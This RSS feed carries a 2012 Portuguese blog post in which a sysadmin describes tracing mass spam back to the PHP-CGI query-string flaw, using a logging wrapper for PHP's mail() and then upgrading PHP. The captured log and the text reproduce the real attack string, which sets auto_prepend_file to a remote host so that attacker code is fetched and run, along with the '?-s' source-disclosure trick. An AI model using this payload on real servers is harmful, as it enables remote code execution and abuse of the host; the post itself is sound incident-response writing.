<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>invasão cgi Archives - Pereira, Thiago Santos.</title>
	<atom:link href="https://thiagosantos.com/blog/tag/invasao-cgi/feed/" rel="self" type="application/rss+xml" />
	<link>https://thiagosantos.com/blog/tag/invasao-cgi/</link>
	<description>the fun of code.</description>
	<lastBuildDate>Fri, 08 Jun 2012 20:31:22 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5</generator>
	<item>
		<title>PHP-CGI query string parameters vulnerabitily</title>
		<link>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/</link>
					<comments>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/#respond</comments>
		
		<dc:creator><![CDATA[Pereira, Thiago Santos]]></dc:creator>
		<pubDate>Fri, 08 Jun 2012 19:10:38 +0000</pubDate>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webservers]]></category>
		<category><![CDATA[invasão cgi]]></category>
		<category><![CDATA[php-cgi]]></category>
		<category><![CDATA[query string vunerability]]></category>
		<guid isPermaLink="false">http://thiagosantos.com/blog/?p=397</guid>

					<description><![CDATA[<p>Uma massa de emails que lotou o espaço em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espaço em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execução de código arbitrário a partir dos parâmetros de linha de comando</p>
<p>The post <a href="https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/">PHP-CGI query string parameters vulnerabitily</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Uma massa de emails que lotou o espaço em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espaço em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execução de código arbitrário a partir dos parâmetros de linha de comando. Ou seja com o comando</p>
<pre>http://localhost/index.php?-s</pre>
<p>Você obtém o conteúdo do código PHP. Isso é muito bizarro!</p>
<h2><span style="color: #3366ff;">1. O que estava acontecendo?</span></h2>
<p>Uma massa de emails de spam estavam sendo enviados como sendo da Fedex, identificamos esses emails e paramos o Postfix. No momento em que paramos, observamos a crescente fila de email e o decrescente espaço em disco.</p>
<p>Localizamos o foco da invasão, um dos sites que administramos estava com permissão na pasta e nos arquivos de usuário e grupo para o www-data. E o spammer havia criado um arquivo chamado pagenews.php e umas variações de w98089n.php (w[0-9]{1,8}n.php, mais ou menos isso).<br />
<span id="more-397"></span><br />
O arquivo pagenews.php e as suas cópias w[0-9]{1,8}n.php continham um exploid com uma lista de diretorios, opções de criar, remover e editar aquivos, enviar email, e enviar em lote, além de um console e auto-remove.</p>
<p>De imediato criamos uma copia do pagenews.php, para analizarmos depois, e em seguida deletamos todos os arquivos. Em seguida mudamos as permissões da pasta e arquivos para um usuário padrão e seguro. Com isso achamos que os disparos de emails fosse parar, mas não foi o que aconteceu, a fila de emails só crescia.</p>
<p>Dai então procuramos por todo o servidor por rastros de outros arquivos e não encontramos nada!</p>
<h1><span style="color: #3366ff;">2. O que fizemos?</span></h1>
<p>Nesse servidor invadido só roda PHP, ou seja estavam de alguma forma usando a função mail() para disparar spams. Dai seguindo as dicas desse site (<a href="http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam">http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam</a>) criei um wrapper pra monitorar o envio dos emails usando a função mail do PHP. Funcionou muito bem, dai fiz um up nele. Na verdade eu não queria só saber de qual site estava sendo disparado o email, mas queria saber também de qual script php, e quais parametros estavam sendo passados para ele, logo o meu <em>phpsendmail</em> ficou assim.</p>
<p><em>/usr/local/bin/phpsendmail</em></p>
<pre style="overflow: auto, height: 300px;" lang="php">#!/usr/bin/php

<!--?php 

/**
  This script is a sendmail wrapper for php to log calls of the php mail()
function.
  Author: Till Brehm, www.ispconfig.org
  (Hopefully) secured by David Goodwin <david @ _palepurple_.co.uk-->
*/

$sendmail_bin = '/usr/sbin/sendmail';
$logfile = '/var/log/mail.form';

//* Get the email content
$logline = '';
$pointer = fopen('php://stdin', 'r');

while ($line = fgets($pointer)) {
        if(preg_match('/^to:/i', $line) || preg_match('/^from:/i', $line)) {
                $logline .= trim($line).' ';
        }
        $mail .= $line;
}

//* compose the sendmail command
$command = 'echo ' . escapeshellarg($mail) . ' | '.$sendmail_bin.' -t -i';
for ($i = 1; $i &lt; $_SERVER['argc']; $i++) {         $command .= escapeshellarg($_SERVER['argv'][$i]).' '; } //* Write the log file_put_contents($logfile, date('Y-m-d H:i:s') . ' ' . " \n\n ----\n".print_r($_ENV,true)."\n\n" . ' '     .$logline."\n\n", FILE_APPEND); //* Execute the command return shell_exec($command); ?&gt;</pre>
<p>O passo a passo pode seguir o do link do site que eu mandei, o wrapper recomendo usar o meu que fica mais fácil de ver as variáveis de ambiente no momento da execução do código.</p>
<p>Feito isso, comecei a monitorar o /var/log/mail.form com o comando tail.</p>
<p>shell~# tail -f /var/log/mail.form</p>
<p>O retorno foi inesperado e surpreendente como segue:</p>
<pre>To: xxxxxxx@yahoo.com From: "FedEx Service" &lt;information@fedex.com&gt;

2012-06-08 12:16:32

 ----
Array
(
    [SERVER_SIGNATURE] =&gt; &lt;address&gt;Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 Server at meusiteemphp.com.br Port 80&lt;/address&gt;

    [ORIG_PATH_TRANSLATED] =&gt; /var/www/sites/meusiteemphp/index.php
    [REDIRECT_SCRIPT_URL] =&gt; /index.php
    [HTTP_USER_AGENT] =&gt; Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0
    [SERVER_PORT] =&gt; 80
    [HTTP_HOST] =&gt; meusiteemphp.com.br
    [REDIRECT_SCRIPT_URI] =&gt; http://meusiteemphp.com.br/index.php
    [HTTP_EXPECT] =&gt; 100-continue
    [REDIRECT_HANDLER] =&gt; php5-cgi
    [DOCUMENT_ROOT] =&gt; /var/www/sites/meusiteemphp
    [SCRIPT_FILENAME] =&gt; /var/www/sites/meusiteemphp/index.php
    [REQUEST_URI] =&gt; /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SCRIPT_NAME] =&gt; /index.php
    [SCRIPT_URI] =&gt; http://meusiteemphp.com.br/index.php
    [REMOTE_PORT] =&gt; 32822
    [ORIG_SCRIPT_FILENAME] =&gt; /usr/lib/cgi-bin/php5
    [PATH] =&gt; /usr/local/bin:/usr/bin:/bin
    [SCRIPT_URL] =&gt; /index.php
    [PWD] =&gt; /var/www/sites/meusiteemphp
    [SERVER_ADMIN] =&gt; exemplo@exemplo.com.br
    [REDIRECT_STATUS] =&gt; 200
    [REDIRECT_QUERY_STRING] =&gt; -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [ORIG_SCRIPT_NAME] =&gt; /php5-cgi
    [HTTP_ACCEPT] =&gt; */*
    [REMOTE_ADDR] =&gt; 31.184.244.28
    [SHLVL] =&gt; 1
    [SERVER_NAME] =&gt; meusiteemphp.com.br
    [CONTENT_LENGTH] =&gt; 370977
    [SERVER_SOFTWARE] =&gt; Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
    [QUERY_STRING] =&gt; -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SERVER_ADDR] =&gt; 173.255.255.255
    [GATEWAY_INTERFACE] =&gt; CGI/1.1
    [SERVER_PROTOCOL] =&gt; HTTP/1.1
    [REDIRECT_URL] =&gt; /index.php
    [CONTENT_TYPE] =&gt; multipart/form-data; boundary=----------------------------0e65a7f6d6ad
    [REQUEST_METHOD] =&gt; POST
    [ORIG_PATH_INFO] =&gt; /index.php
    [_] =&gt; /usr/local/bin/phpsendmail
)</pre>
<p>Atenção aos indices REQUEST_URI e REQUEST_HANDLER. Ataque claro:</p>
<pre>-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt</pre>
<p>Peguei o arquivo send.txt e tinha um código todo organizado e bonitinho para envio de email. Com esses parametros a invasão estava dada, foi assim que o spammer conseguiu criar o arquivo pagenews.php e seus derivados, e mesmo após deletarmos os arquivos ele continuou mandando email.</p>
<p>Achei o seguinte no PHP.net <a href="https://bugs.php.net/bug.php?id=61910">https://bugs.php.net/bug.php?id=61910</a> :</p>
<pre>According to PHP's website, "PHP is a widely-used general-purpose
scripting language that is especially suited for Web development and
can be embedded into HTML." When PHP is used in a CGI-based setup
(such as Apache's mod_cgid), the php-cgi receives a processed query
string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary,
which can be exploited to disclose source code and obtain arbitrary
code execution.</pre>
<p>Dito e feito, funcionou de verdade, e o pior que foi comigo.<br />
Mas fica para aprendermos.</p>
<h1><span style="color: #3366ff;">3. O que foi feito?</span></h1>
<p>Atualizamos a versão do PHP da 5.2.6 para a 5.4.3 e aparentemente o envio em massa de email foi interrompido, de qualquer forma continuamos o monitoramento dos emails.</p>
<p>Boa sorte!</p>
<p>Referencias:<br />
<a href="http://www.php.net/archive/2012.php#id2012-05-03-1">http://www.php.net/archive/2012.php#id2012-05-03-1</a><br />
<a href="https://bugs.php.net/bug.php?id=61910">https://bugs.php.net/bug.php?id=61910</a><br />
<a href="http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam">http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam</a></p>
<p>The post <a href="https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/">PHP-CGI query string parameters vulnerabitily</a> appeared first on <a href="https://thiagosantos.com/blog">Pereira, Thiago Santos.</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://thiagosantos.com/blog/397/php/php-cgi-query-string-parameters-vulnerabitily/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
